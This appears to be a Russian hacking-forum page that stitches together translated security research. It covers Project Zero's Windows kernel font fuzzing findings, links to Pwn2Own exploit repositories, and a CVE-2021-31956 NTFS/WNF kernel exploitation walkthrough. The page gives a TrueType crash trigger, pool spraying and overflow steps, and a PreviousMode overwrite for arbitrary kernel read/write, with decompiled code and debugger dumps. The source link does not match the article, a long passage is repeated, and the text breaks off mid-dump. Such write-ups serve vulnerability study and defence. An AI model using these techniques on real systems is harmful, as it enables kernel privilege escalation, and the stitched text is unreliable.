Без лишних слов ниже приведен список всех уязвимостей, обнаруженных при фаззинге ядра Windows за последний год:
Связанные записи об ошибках включают краткие описания сбоев, примеры журналов сбоев из Windows 7 x86 с включенными специальными пулами и обязательные файлы подтверждения концепции. Чтобы воспроизвести некоторые сбои, также может потребоваться использование специальной программы загрузки шрифтов, которая была предоставлена Microsoft в частном порядке (но также подробно обсуждается в следующем посте).
Как показано в таблице, о сбоях сообщалось в трех итерациях: первая, очевидно, заключала в себе большую часть проблем, поскольку фаззер с самого начала сталкивался с множеством различных состояний и путей кода. Вторая и третья итерации выполнялись в течение более длительного времени, чтобы избавиться от любых сбоев, которые могли быть замаскированы другими, более частыми ошибками. Периоды времени между каждым запуском (3–4 месяца) — это время, необходимое Microsoft для выпуска исправлений для обнаруженных ошибок, и они связаны с 90-дневным крайним сроком раскрытия Project Zero (который Microsoft соблюдала во всех случаях). В одном случае (№ 684) было обновлено время отчета, так как нам пришлось выяснять с Microsoft системные настройки, необходимые для воспроизведения системного сбоя.
Недостатки представляли собой множество ошибок программирования при обработке файлов TTF и OTF в коде, отвечающем за обработку различных таблиц SFNT. Подавляющее большинство проблем может быть использовано для локального повышения привилегий (побег из песочницы и т. д.) и даже для удаленного выполнения кода (для приложений, которые передают файлы, контролируемые пользователем, непосредственно в GDI), что согласуется с "критической" оценкой Microsoft этих ошибок. Несмотря на то, что фаззинг выполнялся в Windows 7, почти все обнаруженные ошибки по-прежнему присутствовали в более новых версиях системы. Также стоит отметить, что хотя сценарий повышения привилегий в Windows 10 смягчается за счет архитектурного перехода к выполнению растеризации шрифтов в процессе пользовательского режима с ограниченными привилегиями, RCE в контексте этого процесса по-прежнему является жизнеспособным вариантом (хотя многое более ограниченным, чем прямая компрометация контекста безопасности кольца 0).
Коллизии
Нет лучшего подтверждения ценности любых конкретных защитных усилий по поиску ошибок, чем наблюдение за обнаруженными вами ошибками, сталкивающимися с вооруженными эксплойтами, используемыми в дикой природе (бонусные баллы за зеро дэй, используемые для причинения вреда пользователям). Несмотря на обширный послужной список таких ошибок и их использования в прошлом, вопрос о том, будут ли какие-либо новые открытия сталкиваться с эксплойтами, все еще циркулирующими в 2015 году, еще предстоит ответить.
Нам не пришлось долго ждать. Как оказалось, ровно две первые ошибки, которые мы зарегистрировали в трекере (issues #368 (https://bugs.chromium.org/p/project-zero/issues/detail?id=368) и #369 (https://bugs.chromium.org/p/project-zero/issues/detail?id=369)), очень быстро оказались такими же, как TTF-уязвимость, использованная Keen Team для повышения привилегий во время pwn2own 2015, и OTF-уязвимость. Уязвимость, обнаруженная в утечке данных Hacking Team в июле 2015 года (с полностью вооруженным эксплойтом), впоследствии исправлена Microsoft в экстренном бюллетене.
Интересно, что две конфликтующие ошибки были на самом деле самыми тривиальными из найденных. Наш фаззер постоянно сталкивался с соответствующими сбоями во время первой итерации, и после краткого анализа мы определили, что оба условия действительно могут быть вызваны выполнением тривиальных изменений (однобитовые перестановки, однобайтовые замены) во многих законных шрифтах. Похоже, это хорошо согласуется с нашим стремлением поднять планку, избавляясь легких ошибок, поскольку подтверждает, что именно такие ошибки обычно обнаруживаются и используются другими исследователями.
Сообщив Microsoft о первой партии крашев в мае 2015 года (7 ошибок OpenType и 4 ошибки TrueType), мы терпеливо ждали, когда поставщик выпустит соответствующие исправления. Очень скоро нам сообщили, что им удалось воспроизвести все проблемы, и они запланировали исправления на августовский вторник. Однако 20 июля, в разгар отпуска, я заметил, что в этот день был выпущен важный бюллетень безопасности MS15-078 (https://technet.microsoft.com/en-us/library/security/ms15-078.aspx):
Что еще более интересно, я был одним из трех человек, упомянутых в разделе "Благодарности":
Как вскоре выяснилось, произошла коллизиция одного из зарегистрированных нами сбоев (issue #369 (<https://bugs.chromium.org/p/project- zero/issues/detail?id=369>)) с вооруженным эксплойтом, обнаруженным двумя независимыми исследователями в утечке Hacking Team. Напомним, что 5 июля 2015 года в их (взломанной) учетной записи Twitter была оставлена ссылка на файл .torrent, содержащий гигабайты данных частной компании Hacking Team. Большая часть индустрии безопасности бросилась исследовать внезапно появившиеся ресурсы, обнаружив не только исходный код продуктов для наблюдения и противоречивую информацию о бизнес-операциях, но и множественные эксплойты для нулевых уязвимостей в таких программах, как Flash Player (4 эксплойта), Windows ядро (2 эксплойта), Internet Explorer, SELinux и так далее. Однако до 20 июля не было общедоступных сведений о существовании CVE-2015-2426, что указывает на то, что об ошибке было сообщено в Microsoft в частном порядке.
Эксплойт воспользовался уязвимостью для повышения привилегий кода в системе на платформах Windows до версии 8.1. Подробный анализ основной причины ошибки и методов эксплуатации можно найти в сообщении блога 360 Vulcan Team( http://blogs.360.cn/blog/hacking-team-part5-atmfd-0day-2/) (на китайском языке), но по сути это было вызвано неверным предположением, сделанным в драйвере ATMFD.DLL OpenType, как показано на рисунке. в псевдокоде ниже:
**LPVOID lpBuffer = EngAllocMem(8 + GPOS.Class1Count * 0x20);
if (lpBuffer != NULL) {
// Copy the first element.
memcpy(lpBuffer + 8, ..., 0x20);
// Copy the remaining Class1Count - 1 elements.
}**
Здесь код предполагал, что Class1Count (16-битное поле в таблице GPOS) всегда будет ненулевым, и копировал первый элемент таблицы независимо от фактического значения. В результате, если поле было равно 0x0000, динамически выделяемый буфер переполнялся на 32 (0x20) байта. При правильном обращении с пулами ядра можно было поместить объект CHwndTargetProp win32k.sys непосредственно после перезаписанной области памяти и повредить его виртуальную таблицу адресом пользовательского режима. Оттуда оставалось только слить базовый адрес модуля win32k.sys и построить цепочку ROP для отключения SMEP и выполнения шелл-кода повышения привилегий.
Важным моментом является то, что для запуска ошибки через фаззинг достаточно было установить всего два последовательных байта в определенном месте в файле (соответствующем полю Class1Count) в 0. Другими словами, его было легко обнаружить с помощью тупого фаззера, и удивительно, что такая ошибка вообще дожила до 2015 года, когда так много работы якобы было вложено в безопасность обработки шрифтов.
Любопытно, что оригинальный эксплойт HT был позже портирован на 64-разрядную версию Windows 8.1 Седриком Халбронном из NCC Group (см. эту статью ([https://www.nccgroup.trust/uk/about...w-i-ported-it-to-a-recent- windows-8.1-64-bit/](https://www.nccgroup.trust/uk/about-us/newsroom-and- events/blogs/2015/september/exploiting-cve-2015-2426-and-how-i-ported-it-to-a- recent-windows-8.1-64-bit/))).
Спустя три недели, 11 августа 2015 года, как и планировалось, были выпущены исправления для остальных крашев из первой партии. Тем не менее, я снова был удивлен разделом "Благодарности", в котором также была отмечена заслуга в сообщении об одной из уязвимостей другим исследователям:
На этот раз, Keen Team! Если вы посмотрите CVE-2015-2455, одним из результатов будет ZDI-15-388 ( http://zerodayinitiative.com/advisories/ZDI-15-388/), в котором ошибка упоминается как " (Pwn2Own) " в заголовке и упоминается, что она связана с "IUP" TrueType. Да, это именно выпуск №368 (https://bugs.chromium.org/p/project-zero/issues/detail?id=368). Уязвимость действительно использовалась для выхода из песочницы и полной компрометации системы в одной из категорий "Adobe Reader" или "Adobe Flash Player" (это неясно, так как во время соревнования использовались две разные ошибки TTF), во время pwn2own. Конкурс, который проходил 19-20 марта 2015 года. Для любопытных, использование другого недостатка TTF Team Keen было объяснено во время выступления "На этот раз шрифт выследит вас в 4 байтах" ([http://www.slideshare.net/PeterHlav...ation-this-time-font-hunt-you-down- in-4-bytes](http://www.slideshare.net/PeterHlavaty/windows-kernel- exploitation-this-time-font-hunt-you-down-in-4-bytes)) на REcon 2015. Примечательно, что Microsoft потребовалось почти 5 месяцев, чтобы исправить ошибки, так как о них сообщили через ZDI, но все же уложились в 90-дневный крайний срок раскрытия Project Zero (поскольку дата начала была 21 мая).
Что касается технических деталей, то ошибка существовала в реализации инструкции "IUP", которая транслируется в Interpolate Untouched Points через схему в спецификации набора инструкций TrueType (https://www.microsoft.com/typography/otspec/ttinst.htm):
Если присмотреться, в конце описания есть важное примечание: Применение IUP к зоне 0 — ошибка. Да, как вы уже догадались, это была ошибка. В обработчике инструкций на win32k!itrp_IUP отсутствовала проверка того, что текущая зона не является зоной 0, и поэтому он работал с зоной 0, как если бы она была зоной 1, что в конечном итоге приводило к переполнению буфера на основе пула с в значительной степени контролируемым содержимым и длиной. Трех приведенных ниже инструкций TrueType было достаточно, чтобы вызвать сбой:
PUSH[ ] / 1 value pushed /
0
SZP2[ ] /* SetZonePointer2 /
IUP[0] / InterpolateUntPts */
Что еще более важно, сбой также был очень простым при мутации легитимных шрифтов — достаточно было одного бита, чтобы изменить аргумент инструкции SZP2 / SZPS с 1 на 0. Соответственно, это был первый краш в первой части моего тупого фаззинга. Когда позже я добавил в микс генератор программ TrueType, проблема также проявлялась при загрузке каждого второго тестового примера, что вынуждало нас учитывать это в генераторе и избегать конкретной конструкции, пока ошибка не будет исправлена.
Кстати говоря, этот кейс — отличный пример того, как простое внимательное прочтение официальной спецификации может привести к обнаружению критической уязвимости с минимальными усилиями и без какого-либо аудита или фаззинга.
Заключительные мысли
По крайней мере, усилия и их результаты свидетельствуют о том, что фаззинг, если он выполняется правильно, по-прежнему является очень эффективным подходом к поиску уязвимостей, даже с теоретически "зрелыми" и тщательно протестированными кодовыми базами. Кроме того, две коллизии ошибок доказывают, что ошибки шрифтов ядра Windows все еще живы и работают, или, по крайней мере, активно использовались в дикой природе в 2015 году. Во втором посте мы обсудим содержательные части исследования.
Между тем, буквально на прошлой неделе (после вторника исправлений Microsoft на прошлой неделе) мы открыли проблему № 785 (https://bugs.chromium.org/p/project-zero/issues/detail?id=785) в трекере Project Zero, в которой обсуждаются подробности уязвимости повреждения пула ATMFD.DLL в поверхности атаки "NamedEscape", то же самое, что Второе ядро Windows 0-day от Hacking Team (CVE-2015-2387 ([http://blog.trendmicro.com/trendlab...ger-vulnerability-from-the-hacking- team-leak/](http://blog.trendmicro.com/trendlabs-security-intelligence/a-look- at-the-open-type-font-manager-vulnerability-from-the-hacking-team-leak/))). Приятного чтения!
Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: [https://googleprojectzero.blogspot.com/2016/06/a-year-of-windows-
kernel-font-fuzzing-1_27.html](https://pentestlab.blog/2021/11/15/golden-
certificate/)
В этом видео мы покажем вам, как мы нашли и использовали уязвимости в TP-Link Archer AC1750, чтобы выиграть 5000 долларов на Pwn2Own Tokyo 2019.
pedrib/PoC ](https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md)
Advisories, proof of concept files and exploits that have been made public by @pedrib. - pedrib/PoC
github.com
master · rdomanski/Exploits_and_Advisories ](https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2020/minesweeper.md)
Repository that tracks public exploits, vulnerabilities and advisories that I [co-]discovered or [co-]authored. - rdomanski/Exploits_and_Advisories
github.com
Flashback Team
CVE-2021-31956 Эксплуатация ядра Windows (NTFS с WNF) — часть 2
Введение
В части 1 целью было охватить следующее:
- Обзор уязвимости, присвоенной код CVE-2021-31956 (повреждение памяти
выгружаемого пула NTFS), и как ее вызвать
- Введение в Windows Notification Framework (WNF) с точки зрения эксплуатации
- Используйте примитивы, которые можно построить с помощью WNF
В этой статье я буду стремиться опираться на эти предыдущие знания и охватить
следующие:
**
- Эксплуатация без раскрытия информации CVE-2021-31955
- Включение лучших примитивов эксплойта через PreviousMode
- Надежность, стабильность и очистка от эксплойта
- Мысли об обнаружении**
Версия, указанная в этойй статье — Windows 10 20H2 (сборка ОС 19042.508).
Однако этот подход был протестирован во всех версиях Windows после 19H1, когда
был введен пул сегментов.
**
Эксплуатация CVE-2021-31955 без раскрытия информации**
В предыдущем сообщении в блоге я намекнул, что эта уязвимость, вероятно, может быть использована без использования отдельной уязвимости утечки адреса EPROCESS CVE-2021-31955). Это также понял Ян Цзышуан и задокументировал в своем блоге. (https://vul.360.net/archives/83)
Как правило, при повышении локальных привилегий Windows после того, как злоумышленник добился произвольной записи или выполнения кода ядра, целью будет повышение привилегий для связанного с ним пользовательского процесса или панорамирование привилегированной командной оболочки. Процессы Windows имеют связанную структуру ядра, называемую _EPROCESS, которая действует как объект процесса для этого процесса. В этой структуре есть элемент Token, который представляет контекст безопасности процесса и содержит такие вещи, как привилегии токена, типы токенов, идентификатор сеанса и т. д.
CVE-2021-31955 приводила к раскрытию информации об адресе _EPROCESS для каждого запущенного процесса в системе и, как предполагалось, использовалась в атаках, обнаруженных "Лабораторией Касперского". Однако на практике для эксплуатации CVE-2021-31956 эта отдельная уязвимость не нужна.
Это связано с тем, что указатель _EPROCESS содержится в _WNF_NAME_INSTANCE в качестве члена CreatorProcess:
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
+0x010 TreeLinks : _RTL_BALANCED_NODE
+0x028 StateName : _WNF_STATE_NAME_STRUCT
+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE
+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION
+0x050 StateDataLock : _WNF_LOCK
+0x058 StateData : Ptr64 _WNF_STATE_DATA
+0x060 CurrentChangeStamp : Uint4B
+0x068 PermanentDataStore : Ptr64 Void
+0x070 StateSubscriptionListLock : _WNF_LOCK
+0x078 StateSubscriptionListHead : _LIST_ENTRY
+0x088 TemporaryNameListEntry : _LIST_ENTRY
+0x098 CreatorProcess : Ptr64 _EPROCESS
+0x0a0 DataSubscribersCount : Int4B
+0x0a4 CurrentDeliveryCount : Int4B
Следовательно, при условии, что возможно получить относительный примитив чтения/записи с использованием _WNF_STATE_DATA, чтобы иметь возможность читать и записывать в последующий _WNF_NAME_INSTANCE, мы можем затем перезаписать указатель StateData, чтобы он указывал на произвольное место, а также прочитать адрес CreatorProcess. чтобы получить адрес структуры _EPROCESS в памяти.
Начальная схема пула, к которой мы стремимся, выглядит следующим образом:
Сложность этого заключается в том, что из-за рандомизации кучи (LFH) надежное достижение этой схемы памяти становится более трудным, и одна итерация этого эксплойта не использовалась до тех пор, пока не были проведены дополнительные исследования для повышения общей надежности и снижения вероятность BSOD.
Например, в обычных сценариях вы можете получить следующий шаблон
распределения для ряда последовательно выделенных блоков:
В отсутствие слабости или уязвимости LFH "рандомизации кучи" в этом посте
объясняется, как можно достичь "достаточно" высокого уровня успеха
эксплуатации и какие необходимые очистки необходимо выполнить для поддержания
стабильности системы после эксплуатации.
**
Этап 1: Распыление и переполнение**
Начиная с того места, где мы остановились в первой статье, нам нужно вернуться и переработать распыление и переполнение.
Во-первых, наш _WNF_NAME_INSTANCE имеет размер 0xA8 + POOL_HEADER (0x10), то есть размер 0xB8. Как упоминалось ранее, это помещается в кусок размером 0xC0.
Нам также нужно распылить объекты _WNF_STATE_DATA размером 0xA0, которые при добавлении с заголовком 0x10 + POOL_HEADER (0x10) также заканчиваются выделением фрагмента 0xC0.
Как упоминалось в части 1 статьи, поскольку мы можем контролировать размер уязвимого выделения, мы также можем гарантировать, что наш переполняющий фрагмент расширенного атрибута NTFS также будет выделен в сегменте 0xC0.
Однако мы не можем детерминистически знать, какой объект будет соседствовать с нашим уязвимым фрагментом NTFS (как упоминалось выше), мы не можем использовать аналогичный подход к освобождению дыр, как в прошлой статье, а затем повторно использовать полученные дыры, поскольку и _WNF_STATE_DATA, и объекты _WNF_NAME_INSTANCE выделяются одновременно, и нам нужно, чтобы оба они присутствовали в одном и том же сегменте пула.
Поэтому нужно быть очень осторожным с переполнением. Мы следим за тем, чтобы только следующие поля были переполнены на 0x10 байт (и POOL_HEADER).
В случае поврежденного _WNF_NAME_INSTANCE будут переполнены элементы Header и RunRef:
nt!_WNF_NAME_INSTANCE
+0x000 Header : _WNF_NODE_HEADER
+0x008 RunRef : _EX_RUNDOWN_REF
В случае поврежденного _WNF_STATE_DATA члены Header, AllocatedSize, DataSize и ChangeTimestamp будут переполнены:
nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : Uint4B
+0x008 DataSize : Uint4B
+0x00c ChangeStamp : Uint4B
Поскольку мы не знаем, собираемся ли мы сначала переполнить _WNF_NAME_INSTANCE или _WNF_STATE_DATA, мы можем инициировать переполнение и проверить наличие повреждений в цикле, запрашивая каждый _WNF_STATE_DATA с помощью NtQueryWnfStateData.
Если мы обнаруживаем повреждение, мы знаем, что идентифицировали наш объект _WNF_STATE_DATA. Если нет, то мы можем многократно запускать распыление и переполнение, пока не получим объект _WNF_STATE_DATA, который разрешает чтение/запись в подсегменте пула.
У этого подхода есть несколько проблем, некоторые из которых можно решить, а для некоторых нет идеального решения:
1. Мы хотим повредить только объекты _WNF_STATE_DATA, но сегмент пула также содержит объекты _WNF_NAME_INSTANCE из-за необходимости иметь одинаковый размер. Использование только переполнения размера данных 0x10 и последующей очистки (как описано в разделе "Очистка памяти ядра") означает, что эта проблема не вызывает проблемы.
2. Иногда наш неограниченный чагнк, содержащий _WNF_STATA_DATA, может быть выделен в последнем блоке в сегменте пула. Это означает, что при запросе с помощью NtQueryWnfStateData чтение неотображенной памяти произойдет за пределами конца страницы. На практике это случается редко, и увеличение размера распределения снижает вероятность этого
3. Другие функции операционной системы могут выделять ресурсы в сегменте пула 0xC0 и приводить к повреждению и нестабильности. Выполняя большой размер распыления перед запуском переполнения, из практических испытаний это, похоже, редко происходит в тестовой среде.
Я думаю, что полезно задокументировать эти проблемы с помощью современных методов эксплуатации повреждения памяти, где не всегда возможно добиться 100% надежности.
В целом, если 1) исправлено, а 2+3 встречается очень редко, вместо идеального решения мы можем перейти к следующему этапу.
Этап 2. Поиск _WNF_NAME_INSTANCE и перезапись указателя StateData
После того, как мы освободили наши _WNF_STATE_DATA, переполнив DataSize и AllocatedSize, как описано выше, и в первом сообщении блога, мы можем использовать относительное чтение, чтобы найти соседний _WNF_NAME_INSTANCE.
Просматривая память, мы можем найти шаблон "\x03\x09\xa8", который обозначает начало _WNF_NAME_INSTANCE, и из него получить интересные переменные-члены.
CreatorProcess, StateName, StateData, ScopeInstance могут быть раскрыты из идентифицированного целевого объекта.
Затем мы можем использовать относительную запись, чтобы заменить указатель StateData произвольным местоположением, которое требуется для нашего примитива чтения и записи. Например, смещение в структуре _EPROCESS на основе адреса, полученного от CreatorProcess.
Здесь необходимо соблюдать осторожность, чтобы гарантировать, что новое местоположение StateData указывает на перекрытие с нормальными значениями для значений AllocatedSize, DataSize, предшествующих данным, которые необходимо прочитать или записать.
В этом случае цель состояла в том, чтобы добиться полного произвольного чтения и записи, но без ограничений, связанных с необходимостью найти разумные и надежные значения AllocatedSize и DataSize до памяти, которую также нужно было записать.
Наша общая цель состояла в том, чтобы нацелиться на элемент PreviousMode структуры KTHREAD, а затем использовать API-интерфейсы NtReadVirtualMemory и NtWriteVirtualMemory, чтобы обеспечить более гибкое произвольное чтение и запись.
Это помогает иметь хорошее представление о том, как эта структура памяти ядра используется, чтобы понять, как это работает. В очень упрощенном обзоре часть режима ядра Windows содержит ряд подсистем. Уровень аппаратной абстракции (HAL), исполнительные подсистемы и ядро. _EPROCESS является частью исполнительного уровня, который имеет дело с общей политикой и операциями ОС. Подсистема ядра обрабатывает конкретные детали архитектуры для низкоуровневых операций, а HAL обеспечивает уровень абстракции для устранения различий между аппаратными средствами.
Процессы и потоки представлены как на исполнительном уровне, так и на "уровне" ядра в памяти ядра в виде структур _EPROCESS и _KPROCESS и _ETHREAD и _KTHREAD соответственно.
В документации по PreviousMode говорится: "Когда приложение пользовательского режима вызывает версию Nt или Zw собственной процедуры системных служб, механизм системного вызова перехватывает вызывающий поток в режим ядра. Чтобы указать, что значения параметров были получены в пользовательском режиме, обработчик ловушки для системного вызова устанавливает для поля PreviousMode в объекте потока вызывающего объекта значение UserMode. Собственная процедура системных служб проверяет поле PreviousMode вызывающего потока, чтобы определить, получены ли параметры из источника пользовательского режима".
Глядя на MiReadWriteVirtualMemory, который вызывается из NtWriteVirtualMemory, мы видим, что если PreviousMode не установлен при выполнении потока пользовательского режима, то проверка адреса пропускается, и адреса пространства памяти ядра также могут быть записаны:
C:Copy to clipboard
__int64 __fastcall MiReadWriteVirtualMemory(
HANDLE Handle,
size_t BaseAddress,
size_t Buffer,
size_t NumberOfBytesToWrite,
__int64 NumberOfBytesWritten,
ACCESS_MASK DesiredAccess)
{
int v7; // er13
__int64 v9; // rsi
struct _KTHREAD *CurrentThread; // r14
KPROCESSOR_MODE PreviousMode; // al
_QWORD *v12; // rbx
__int64 v13; // rcx
NTSTATUS v14; // edi
_KPROCESS *Process; // r10
PVOID v16; // r14
int v17; // er9
int v18; // er8
int v19; // edx
int v20; // ecx
NTSTATUS v21; // eax
int v22; // er10
char v24; // [rsp+40h] [rbp-48h]
__int64 v25; // [rsp+48h] [rbp-40h] BYREF
PVOID Object[2]; // [rsp+50h] [rbp-38h] BYREF
int v27; // [rsp+A0h] [rbp+18h]
v27 = Buffer;
v7 = BaseAddress;
v9 = 0i64;
Object[0] = 0i64;
CurrentThread = KeGetCurrentThread();
PreviousMode = CurrentThread->PreviousMode;
v24 = PreviousMode;
if ( PreviousMode )
{
if ( NumberOfBytesToWrite + BaseAddress < BaseAddress
|| NumberOfBytesToWrite + BaseAddress > 0x7FFFFFFF0000i64
|| Buffer + NumberOfBytesToWrite < Buffer
|| Buffer + NumberOfBytesToWrite > 0x7FFFFFFF0000i64 )
{
return 3221225477i64;
}
v12 = (_QWORD *)NumberOfBytesWritten;
if ( NumberOfBytesWritten )
{
v13 = NumberOfBytesWritten;
if ( (unsigned __int64)NumberOfBytesWritten >= 0x7FFFFFFF0000i64 )
v13 = 0x7FFFFFFF0000i64;
*(_QWORD *)v13 = *(_QWORD *)v13;
}
}
Этот метод также был описан ранее в сообщении блога NCC Group об использовании Windows KTM.
Итак, как нам определить местонахождение PreviousMode на основе адреса
_EPROCESS, полученного из нашего относительного чтения CreatorProcess? В
начале структуры _EPROCESS _KPROCESS включен как Pcb.
**
dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS**
В _KPROCESS у нас есть следующее:
**dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_KPROCESS )0xffffd186087b1300))
(((ntdll!_KPROCESS *)0xffffd186087b1300)) [Type: _KPROCESS]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] ProfileListHead [Type: _LIST_ENTRY]
[+0x028] DirectoryTableBase : 0xa3b11000 [Type: unsigned __int64]
[+0x030] ThreadListHead [Type: _LIST_ENTRY]
[+0x040] ProcessLock : 0x0 [Type: unsigned long]
[+0x044] ProcessTimerDelay : 0x0 [Type: unsigned long]
[+0x048] DeepFreezeStartTime : 0x0 [Type: unsigned __int64]
[+0x050] Affinity [Type: _KAFFINITY_EX]
[+0x0f8] AffinityPadding [Type: unsigned __int64 [12]]
[+0x158] ReadyListHead [Type: _LIST_ENTRY]
[+0x168] SwapListEntry [Type: _SINGLE_LIST_ENTRY]
[+0x170] ActiveProcessors [Type: _KAFFINITY_EX]
[+0x218] ActiveProcessorsPadding [Type: unsigned __int64 [12]]
[+0x278 ( 0: 0)] AutoAlignment : 0x0 [Type: unsigned long]
[+0x278 ( 1: 1)] DisableBoost : 0x0 [Type: unsigned long]
[+0x278 ( 2: 2)] DisableQuantum : 0x0 [Type: unsigned long]
[+0x278 ( 3: 3)] DeepFreeze : 0x0 [Type: unsigned long]
[+0x278 ( 4: 4)] TimerVirtualization : 0x0 [Type: unsigned long]
[+0x278 ( 5: 5)] CheckStackExtents : 0x0 [Type: unsigned long]
[+0x278 ( 6: 6)] CacheIsolationEnabled : 0x0 [Type: unsigned long]
[+0x278 ( 9: 7)] PpmPolicy : 0x7 [Type: unsigned long]
[+0x278 (10:10)] VaSpaceDeleted : 0x0 [Type: unsigned long]
[+0x278 (31:11)] ReservedFlags : 0x0 [Type: unsigned long]
[+0x278] ProcessFlags : 896 [Type: long]
[+0x27c] ActiveGroupsMask : 0x1 [Type: unsigned long]
[+0x280] BasePriority : 8 [Type: char]
[+0x281] QuantumReset : 6 [Type: char]
[+0x282] Visited : 0 [Type: char]
[+0x283] Flags [Type: _KEXECUTE_OPTIONS]
[+0x284] ThreadSeed [Type: unsigned short [20]]
[+0x2ac] ThreadSeedPadding [Type: unsigned short [12]]
[+0x2c4] IdealProcessor [Type: unsigned short [20]]
[+0x2ec] IdealProcessorPadding [Type: unsigned short [12]]
[+0x304] IdealNode [Type: unsigned short [20]]
[+0x32c] IdealNodePadding [Type: unsigned short [12]]
[+0x344] IdealGlobalNode : 0x0 [Type: unsigned short]
[+0x346] Spare1 : 0x0 [Type: unsigned short]
[+0x348] StackCount [Type: _KSTACK_COUNT]
[+0x350] ProcessListEntry [Type: _LIST_ENTRY]
[+0x360] CycleTime : 0x0 [Type: unsigned __int64]
[+0x368] ContextSwitches : 0x0 [Type: unsigned __int64]
[+0x370] SchedulingGroup : 0x0 [Type: _KSCHEDULING_GROUP ]
[+0x378] FreezeCount : 0x0 [Type: unsigned long]
[+0x37c] KernelTime : 0x0 [Type: unsigned long]
[+0x380] UserTime : 0x0 [Type: unsigned long]
[+0x384] ReadyTime : 0x0 [Type: unsigned long]
[+0x388] UserDirectoryTableBase : 0x0 [Type: unsigned __int64]
[+0x390] AddressPolicy : 0x0 [Type: unsigned char]
[+0x391] Spare2 [Type: unsigned char [71]]
[+0x3d8] InstrumentationCallback : 0x0 [Type: void ]
[+0x3e0] SecureState [Type: ]
[+0x3e8] KernelWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f0] UserWaitTime : 0x0 [Type: unsigned __int64]
[+0x3f8] EndPadding [Type: unsigned __int64 [8]]
Существует член ThreadListHead, который представляет собой двусвязный список _KTHREAD.
Если эксплойт имеет только один поток, то Flink будет указателем на смещение
от начала _KTHREAD:
**
dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_LIST_ENTRY )0xffffd186087b1330))
(((ntdll!_LIST_ENTRY *)0xffffd186087b1330)) [Type: _LIST_ENTRY]
[+0x000] Flink : 0xffffd18606a54378 [Type: _LIST_ENTRY ]
[+0x008] Blink : 0xffffd18608840378 [Type: _LIST_ENTRY ]
Исходя из этого, мы можем вычислить базовый адрес _KTHREAD, используя смещение 0x2F8, то есть смещение ThreadListEntry.
0xffffd18606a54378 - 0x2F8 = 0xffffd18606a54080
Мы можем проверить это правильно (и увидеть, что мы достигли точки останова в предыдущей статье):
Этот метод также был описан ранее в сообщении блога NCC Group об использовании Windows KTM.
Итак, как нам определить местонахождение PreviousMode на основе адреса _EPROCESS, полученного из нашего относительного чтения CreatorProcess? В начале структуры _EPROCESS _KPROCESS включен как Pcb.
dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
В _KPROCESS у нас есть следующее:
**dx -id 0,0,ffffd186087b1300 -r1 (*((ntdll!_KPROCESS )0xffffd186087b1300))
(((ntdll!_KPROCESS *)0xffffd186087b1300)) [Type: _KPROCESS]
[+0x000] Header [Type: _DISPATCHER_HEADER]
[+0x018] ProfileListHead [Type: _LIST_ENTRY]
[+0x028] DirectoryTableBase : 0xa3b11000 [Type: unsigned __int64]
[+0x030] ThreadListHead [Type: _LIST_ENTRY]
[+0x040] ProcessLock : 0x0 [Type: unsigned long]
[+0x044] ProcessTimerDelay : 0x0 [Type: unsigned long]
[+0x048] DeepFreezeStartTime : 0x0 [Type: unsigned __int64]
[+0x050] Affinity [Type: _KAFFINITY_EX]
[+0x0f8] AffinityPadding [Type: unsigned __int64 [12]]
[+0x158] ReadyListHead [Type: _LIST_ENTRY]
[+0x168] SwapListEntry [Type: _SINGLE_LIST_ENTRY]
[+0x170] ActiveProcessors [Type: _KAFFINITY_EX]
[+0x218] ActiveProcessorsPadding [Type: unsigned __int64 [12]]
[+0x278 ( 0: 0)] AutoAlignment : 0x0 [Type: unsigned long]
[+0x278 ( 1: 1)] DisableBoost : 0x0 [Type: unsigned long]
[+0x278 ( 2: 2)] DisableQuantum : 0x0 [Type: unsigned long]
[+0x278 ( 3: 3)] DeepFreeze : 0x0 [Type: unsigned long]
[+0x278 ( 4: 4)] TimerVirtualization : 0x0 [Type: unsigned long]
[+0x278 ( 5: 5)] CheckStackExtents : 0x0 [Type: unsigned long]
[+0x278 ( 6: 6)] CacheIsolationEnabled : 0x0 [Type: unsigned long]
[+0x278 ( 9: 7)] PpmPolicy : 0x7 [Type: unsigned long]
[+0x278 (10:10)] VaSpaceDeleted : 0x0 [Type: unsigned long]
[+0x278 (31:11)] ReservedFlags : 0x0 [Type: unsigned long]
[+0x278] ProcessFlags : 896 [Type: long]
[+0x27c] ActiveGroupsMask : 0x1 [Type: unsigned long]
[+0x280] BasePriority : 8 [Type: char]
[+0x281] QuantumReset : 6 [Type: char]
[+0x282] Visited : 0 [Type: char]
[+0x283] Flags [Type: _KEXECUTE_OPTIONS]
[+0x284] ThreadSeed [Type: unsigned short [20]]
[+0x2ac] ThreadSeedPadding [Type: unsigned short [12]]
[+0x2c4] IdealProcessor [Type: unsigned short [20]]
[+0x2ec] IdealProcessorPadding [Type: unsigned short [12]]
[+0x304] IdealNode [Type: unsigned short [20]]
[+0x32c] IdealNodePadding [Type: unsigned short [12]]
[+0x344] IdealGlobalNode : 0x0 [Type: unsigned short]
[+0x346] Spare1 : 0x0 [Type: unsigned short]
[+0x348] StackCount [Type: _KSTACK_COUNT]
[+0x350] ProcessListEntry [Type: _LIST_ENTRY]
[+0x360] CycleTime : 0x0 [Type: unsigned __int64]
[+0x368] ContextSwitches : 0x0 [Type: unsigned __int64]
[+0x370] SchedulingGroup : 0x0 [Type: _KSCHEDULING_GROUP ]
[+0x378] FreezeCount : 0x0 [Type: unsigned long]
[+0x37c] KernelTime : 0x0 [Type: unsigned long]
[+0x380] UserTime : 0x0 [Type: unsigned long]
[+0x384] ReadyTime : 0x0 [Type: unsigned long]
[+0x388] UserDirectoryTableBase : 0x0 [Type: unsigned __int64]
[+0x390] AddressPolicy : 0x0 [Type: unsigned char]
